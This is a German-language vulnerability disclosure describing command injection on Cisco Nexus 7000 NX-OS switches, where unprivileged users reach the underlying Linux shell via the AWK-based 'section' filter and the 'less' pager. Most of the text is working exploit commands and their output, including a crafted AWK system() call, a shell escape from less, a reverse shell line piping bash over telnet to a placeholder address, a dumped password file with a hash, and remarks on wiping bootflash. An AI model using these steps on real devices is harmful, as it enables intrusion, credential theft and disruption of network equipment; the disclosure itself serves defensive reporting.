
Veröffentlichte Sicherheitslücken, Forschung und zugehörige Informationen.
Lokaler Zugriff ist erforderlich. Allerdings können unprivilegierte Konten Zugriff auf das zugrunde liegende Linux-Betriebssystem erlangen, was praktisch vollständigen Zugriff auf das Gerät ermöglicht. Dies könnte potenziell zu Problemen in Umgebungen führen, in denen NOC- und andere Mitarbeiter als erste Anlaufstelle usw. Zugriff mit niedrigen Rechten erhalten.
Dieses Problem wurde auf der Plattform Nexus 7000 gefunden. Es wird angenommen, dass auch die folgenden Plattformen betroffen sind:
Der Unterbefehl „section“ scheint ein AWK-Skript zu sein, an das die angeforderte Zeichenkette übergeben wird. Die Eingabe scheint jedoch nicht korrekt sanitisiert zu werden. Infolgedessen kann AWK verwendet werden, um beliebige Befehle auf dem Linux-Subsystem auszuführen.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
Dies kann sogar verwendet werden, um alle Dateien auf dem Bootflash zu entfernen und einen Befehl „reboot“ an das System zu senden. Ein Neustart aus dem Linux-Subsystem führt jedoch dazu, dass das Gerät Nachrichten auf die Konsole ausgibt und einfriert, anstatt das Gerät tatsächlich neu zu laden.
Voraussichtlich sind die folgenden Softwareversionen betroffen:
Als Beispiel:
switch# sh clock | less
Sobald less angezeigt wird, öffnen wir Dateien, indem wir den Doppelpunkt drücken, dann „e“ und den Pfad zur Datei angeben.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
Dies ist jedoch wiederum nur Lesezugriff. ABER wenn wir die Taste „|“ (Pipe) und dann das Tastenmakro „$“ verwenden, können wir Befehle ausführen.
!ls -lah > /bootflash/20110715
Wie unten gezeigt, wurde die Datei auf dem Bootflash erstellt.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Mit dieser Methode konnte ich unter Verwendung des Folgenden eine Remote-Shell im NX-OS-Linux-Subsystem einrichten:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Sogar der Befehl „reboot“ wird als gültige Eingabe akzeptiert. Anstatt das Gerät jedoch neu zu starten, führt er dazu, dass das System einfriert und Fehler auf die Konsole ausgibt.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):